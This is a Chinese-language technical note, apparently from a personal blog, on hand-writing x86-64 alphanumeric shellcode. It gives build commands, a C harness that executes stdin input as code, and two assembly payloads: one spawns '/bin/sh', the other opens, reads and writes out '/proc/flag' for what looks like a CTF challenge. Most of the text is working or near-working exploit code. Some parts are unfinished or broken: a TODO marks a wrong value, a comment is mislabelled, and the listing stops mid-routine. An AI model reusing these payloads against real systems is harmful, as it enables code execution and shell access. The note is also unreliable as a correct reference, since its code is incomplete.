Alphanumeric shellcode
Alphanumeric shellcode 限定所使用的汇编 opcode 只能在 0x20
~ 0x7f
范围内——这正是“人类可读”的 ascii 字符的范围。所以如果你用如下代码编译出一份字节文件,你将得到一份看起来像乱码文本,但实际上又可执行的怪东西!
gcc -m64 -c -o shellcode.o shellcode.S
objcopy -S -O binary -j .text shellcode.o shellcode.ascii
下面我们研究一下,如何书写一份 x86-64
风格的 alphanumeric shellcode。
限制与问题
WIP
演示 shellcode 执行
直接把传入的 shellcode 读到 buf
中并且将 buf
解释为函数指针执行 buf
。
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>
char buf[2048];
int main()
{
if (!fgets(buf, sizeof(buf), stdin))
err(1, "Too long input");
// a few info for debugging
printf("> length: %d\n", (int)strlen(buf));
for (int i = 0; i < strlen(buf); i += 1) {
if (i % 16 == 0)
printf("> %04X: ", i);
printf("%02X ", (unsigned char)buf[i]);
if (i % 16 == 15)
printf("\n");
}
printf("\n");
(*(void (*)()) buf)();
}
shellcode
.global _start
.text
_start:
; Set %rcx as stack pointer
; and align %rsp
push $0x5a
push %rsp
pop %rcx
pop %rax
; Get magic offset and store in %rdi
xor $0x55, %al
push %rax ; 0x14 on the stack now.
pop %rax ; add back to %esp
imul $0x41, (%rcx), %edi ; %rdi = 0x3cf, a "magic offset" for us
; This is decimal value 975.
; If this is too low/high, suggest a
; modification to xor of %al for
; changing the imul results
; Write the syscall
movslq (%rcx,%rdi,1), %rsi
xor %esi, (%rcx,%rdi,1) ; 4 bytes have been nulled
push $0x3030474a
pop %rax
xor $0x30304245, %eax
push %rax
pop %rax ; Garbage reg
movslq (%rcx), %rsi
xor %esi, (%rcx,%rdi,1)
; Sycall written, set values now.
; allocate 8 bytes for '/bin/sh\0'
movslq 0x30(%rcx), %rsi
xor %esi, 0x30(%rcx)
movslq 0x34(%rcx), %rsi
xor %esi, 0x34(%rcx)
; Zero rdx, rsi, and rdi
movslq 0x30(%rcx), %rdi
movslq 0x30(%rcx), %rsi
push %rdi
pop %rdx
; Store '/bin/sh\0' in %rdi
push $0x5a58555a
pop %rax
xor $0x34313775, %eax
xor %eax, 0x30(%rcx) ; '/bin' just went onto the stack
push $0x6a51475a
pop %rax
xor $0x6a393475, %eax
xor %eax, 0x34(%rcx) ; '/sh\0' just went onto the stack
xor 0x30(%rcx), %rdi ; %rdi now contains '/bin/sh\0'
pop %rax
push %rdi
push $0x58
movslq (%rcx), %rdi
xor (%rcx), %rdi ; %rdi zeroed
pop %rax
push %rsp
xor (%rcx), %rdi
xor $0x63, %al
#include <sys/syscall.h>
.globl main
.type main, @function
main:
/* PART I : OPEN */
/* start of buf 0x6020c0 */
/* about 100 bytes long! */
/* Set rcx as stack pointer */
push $0x58
push %rsp
pop %rcx
pop %rax
/* rdx = 0x6020c0, start of buf*/
movslq 0x50(%rcx), %rax
push $0x30585040
pop %rax
xor $0x30387140, %rax
push %rax
pop %rdx
/* Write the syscall to designated place */
push $0x30302847
pop %rax
xor $0x30307522, %eax /* 0x602100 */
push %rax
pop %rax /* Garbage reg */
movslq (%rcx), %rsi
xor %esi, 0x5b(%rdx)
/* Sycall written, set values now.
allocate 16 bytes for '/proc/flag\0' */
movslq 0x50(%rcx), %rsi
xor %esi, 0x50(%rcx)
movslq 0x54(%rcx), %rsi
xor %esi, 0x54(%rcx)
movslq 0x58(%rcx), %rsi
xor %esi, 0x58(%rcx)
movslq 0x5c(%rcx), %rsi
xor %esi, 0x5c(%rcx)
/* Zero rdx, rsi, and rdi */
movslq 0x50(%rcx), %rdi
movslq 0x50(%rcx), %rsi
push %rdi
pop %rdx
/* Store '/bin/sh\0' in %rdi */
push $0x31315039
pop %rax
xor $0x31313758, %eax
xor %eax, 0x58(%rcx) /* 'ag\0\0' just went onto the stack */
push $0x58575a3b
pop %rax
xor $0x34317558, %eax
xor %eax, 0x54(%rcx) /* 'c/fl' just went onto the stack */
push $0x5b43475a
pop %rax
xor $0x34313775, %eax
xor %eax, 0x50(%rcx) /* /pro just went onto the stack*/
xor 0x50(%rcx), %rdi
xor 0x58(%rcx), %rsi
pop %rax
pop %rax
push %rsi
push %rdi
push $0x58
movslq (%rcx), %rsi
xor (%rcx), %rsi /* %rsi zeroed */
movslq (%rcx), %rdi
xor (%rcx), %rdi /* %rdi zeroed */
pop %rax
push %rsp
xor $0x5a, %al
xor (%rcx), %rdi /* From here, rdi = pointer to /proc/flag */
/* rsi = 0 = read mode */
/* This will be modified to syscall */
push $0x58
/***********************************/
/********** PART2 : READ ***********/
/***********************************/
/* eax now has fd, move it to rdi */
push %rax
pop %rdi
/* rsp in rcx */
push $58
push %rsp
pop %rcx
pop %rax
movslq (%rcx), %rsi
xor %esi, (%rcx)
movslq (%rcx), %rsi
xor %esi, (%rcx)
/* rdx = 0x602060 */
push $0x61616161
pop %rax
xor $0x61616161, %eax /* empty rax */
push $0x30585058
pop %rax
xor $0x30387138, %rax
push %rax
pop %rdx
/* emtpy rax again */
push $0x61616161
pop %rax
xor $0x61616161, %eax /* empty rax */
/* Write the syscall to designated place */
push $0x30302847
pop %rax
xor $0x30307522, %eax /* 0x005d65 */
push %rax
/* Garbage reg */
movslq (%rcx), %rsi
xor %esi, 0x58(%rdx)
/* Put 0x100 into %rdx */
push $0x61616161
pop %rax
xor $0x61616061, %eax
push %rax
pop %rdx
push $0x58
pop %rax
push %rcx
pop %rsi
xor $0x58, %al
/* To be syscall*/
push $0x58
/***********************************/
/********** PART3 : WRITE ***********/
/***********************************/
/* rsp in rcx */
push $0x58
push %rsp
pop %rcx
pop %rax /* Garbage */
/* Set rdx = 0x602200 */
push $0x61616161
pop %rax
xor $0x61616161, %eax /* empty rax */
push $0x30586858
pop %rax
xor $0x30384a58, %rax /* TODO: the value is not correct now */
push %rax
pop %rdx
/* emtpy rax again */
push $0x61616161
pop %rax
xor $0x61616161, %eax /* empty rax */
/* Write the syscall to designated place */
push $0x30302847
pop %rax
xor $0x30302847, %eax /* 0x005d65 */
push %rax
pop %rax /* Garbage reg */
movslq (%rcx), %rdi
xor %edi, 0x58(%rdx)
/* Put 0x100 into %rdx */
push $0x61616161
pop %rax
xor $0x61616561, %eax
push %rax
pop %rdx
push $0x58
pop %rax
xor $0x59, %al /* rax set to 1 */
push %rax
pop %rdi
push %rax
pop %rdi
push %rax
pop %rdi
push %rax
pop %rdi
push %rax
pop %rdi
push %rax
pop %rdi
/* To be syscall*/
push $0x58